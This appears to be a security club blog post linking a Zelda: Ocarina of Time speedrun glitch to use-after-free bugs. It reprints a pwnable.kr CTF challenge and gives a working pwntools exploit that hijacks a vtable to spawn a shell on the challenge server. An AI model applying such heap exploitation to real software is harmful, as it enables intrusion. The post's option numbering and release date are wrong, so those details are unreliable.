Blog06: Misc — How speedrunners came to be at the cutting edge of binary exploitation techniques
For many, watching a speedrun might seem like watching a magician perform. To put it briefly, a speedrun in general is when a highly experienced player, often performing complex and difficult glitches by on their own and without any external help, sets out to finish a game that could take 30–40 hours to complete in less than half an hour.
The Legend of Zelda: Ocarina of Time
The Legend of Zelda: Ocarina of Time is one of those classic games that have made an everlasting impression on the history of video games and on gamers as well. Released in 1996, it largely revolutionized adventure game design and laid the foundations for the open world genre. Moreover, the complexity of the game, which was far ahead of its time, resulted in an abundance of gameplay bugs.
When watching a modern Ocarina of Time speedrun, one is immediately stunned by the striking aspect of the sequence: The player, after having quickly collected some classic game items, seems to perform a series of incomprehensible movements, which finally lead to the appearance of the title screen. The video speaks for itself:
Let’s see what happens at the end of the video:
- Link is carrying an item from the game (a stone)
- After a glitch involving the camera, the object is discharged while Link is still holding it in his hands
- After a series of incomprehensible movements, Link puts the object down (which is supposed to be unloaded long ago!) and loads a new scene in the game. Here, the end cinematic is loading.
Use-after-free exploits
To understand what really happened, let’s move on to the study of a modern machine. We will go through the basics of a very common vulnerability: use-after-free.
Let’s look at the pwnable.kr ”uaf” challenge, presenting a stereotypical case of use-after-free: http://pwnable.kr/play.php
class Human{
private:
virtual void give_shell(){
system("/bin/sh");
}
protected:
int age;
string name;
public:
virtual void introduce(){
cout << "My name is " << name << endl;
cout << "I am " << age << " years old" << endl;
}
};
class Man: public Human{
public:
Man(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a nice guy!" << endl;
}
};
class Woman: public Human{
public:
Woman(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a cute girl!" << endl;
}
};
int main(int argc, char* argv[]){
Human* m = new Man("Jack", 25);
Human* w = new Woman("Jill", 21);
size_t len;
char* data;
unsigned int op;
while(1){
cout << "1. use\n2. after\n3. free\n";
cin >> op;
switch(op){
case 1:
m->introduce();
w->introduce();
break;
case 2:
len = atoi(argv[1]);
data = new char[len];
printf("Data addr %x\n", data);
read(open(argv[2], O_RDONLY), data, len);
break;
case 3:
delete m;
delete w;
break;
default:
break;
}
}
return 0;
}What is immediately visible in this challenge is that even after deleting the objects referenced by the “m” and “w” pointers with option “2”, it is still possible to allocate new memory space in the heap with option “3”.
Indeed, the heap uses a chained list for the maintenance of freed regions: these will be reused later to save memory. It is thus possible to predict that new char[len]; will allocate space at the same place where m and w were allocated.
Without going into too much detail about C++ internals, a mechanism called *virtual method table* (vtable) is used to statically hold the addresses of the virtual functions used by the objects of a class (in this case, Man and Woman).
The strategy to be used to solve this challenge is then to:
- free the
mandwobjects - create an object at the same location as one of these two, and for which we are free to write whatever we want
- Exploit this freedom to write to make the position formerly assigned to the vtable address now point to a fake vtable, chosen to contain the
give_shellfunction instead of theManfunction - trigger the call of functions subsequent to the call of option “1” (always possible after the memory has been freed, remember! this is strongly analogous to the example in Ocarina of Time where Link still carries an object after it has been freed)
With pwntools, the exploit can look something like this:
#!/bin/python2
from pwn import *
elf = ELF("uaf")
old_vtable_1F = elf.symbols["_ZTV3Man"]+0x10
new_vtable_1F = old_vtable_1F-8
shell = ssh("uaf", "pwnable.kr", password="guest", port=2222)
p = shell.process(["./uaf", "24", "/dev/stdin"]) ; p.recv()
p.sendline("3") ; p.recv()
p.sendline("2")
p.send(p64(new_vtable_1F)) ; p.recv()
p.sendline("2")
p.send(p64(new_vtable_1F)) ; p.recv()
p.sendline("1")
p.interactive()This way, we were able to exploit a logical programming error, i.e. the freedom to manipulate a pointer referencing an address that no longer has the same meaning as the one for which the manipulation was designed. This freedom then allowed us to execute code that was not meant to be reached.
Stale Reference Manipulation: UAF for Zelda speedrunners
Let’s go back to The Legend of Zelda: Ocarina of Time speedrun. Let’s take a closer look at what happens in a slightly simpler example of the game’s glitch, which can be seen as a use-after-free Proof of Concept (called Stale Reference Manipulation in speedrunner lingo):
The objects appearing on the screen with which it is possible to interact are called “actors”. They have a multitude of attributes.
In the game, Link is able to lift a number of actors. When this is the case, the game stores a reference pointing to the lifted actor, and a number of attributes are constantly modifiable according to Link’s position (its X,Y and Z coordinates, as well as its rotation angles on two planes).
However, due to a glitch in the game, it is possible that Link retains the state “carrying an object” (and where he is constantly writing values to the stored reference!) while the actual object being carried is released from the heap. We recognize here a situation similar to the pwnable.kr challenge seen earlier, where we can control what will be loaded next at this location in the heap, and write to it thanks to Link’s positions: hence the strange movements made in the speedrun from a certain point!
To be more precise, the next actor to be loaded must have, at the now overwritable location of the heap, loaded an attribute called “Draw Function Pointer”. This pointer points to the function that is supposed to draw the actor on the screen. It goes without saying that this function will be called regularly.
In the example proposed by the video, it will be replaced, within a “bush” actor, by the function started when Link is supposed to receive a heart receptacle. As soon as the game tries to draw a bush, it is redirected to this value which is then carried by the Draw Function Pointer.
The philosophy of use-after-free exploits is well illustrated by this example. By freely manipulating a pointer to a free address in the heap, the next element loaded there will carry arbitrary values, which we can often choose as we wish.
As for the exploit used in the any% categories to quickly load the end of the game, the techniques used are a bit more complex (involving arbitrary code execution), but it is still the same class of heap manipulation bugs.
Learn more
If you’d like to learn more about the techniques used in Ocarina of Time speedruns:
https://www.zeldaspeedruns.com/oot/srm/srm-overview
https://www.youtube.com/watch?v=wdRJWDKb5Bo
https://www.youtube.com/watch?v=SPi_d0zhNFc
https://www.youtube.com/watch?v=RoEmGCNsbno
Learn more about use-after-free exploits, and about heap exploitation in general:
https://heap-exploitation.dhavalkapil.com/
https://github.com/shellphish/how2heap
https://0x434b.dev/overview-of-glibc-heap-exploitation-techniques/
https://valsamaras.medium.com/the-toddlers-introduction-to-heap-exploitation-part-1-515b3621e0e8
Links
Facebook: INSEC Ensias
Instagram: INSEC Ensias
Linkedin: INSEC Ensias
Youtube: INSEC Club
Don’t forget to drop us a follow on social media to stay up to date with everything the club is doing. Looking forward to sharing more knowledge with all the readers and we welcome your feedback at insecblog@gmail.com
Writer: thmgdi
Editors: berradAtay, akna ,F3nn3C
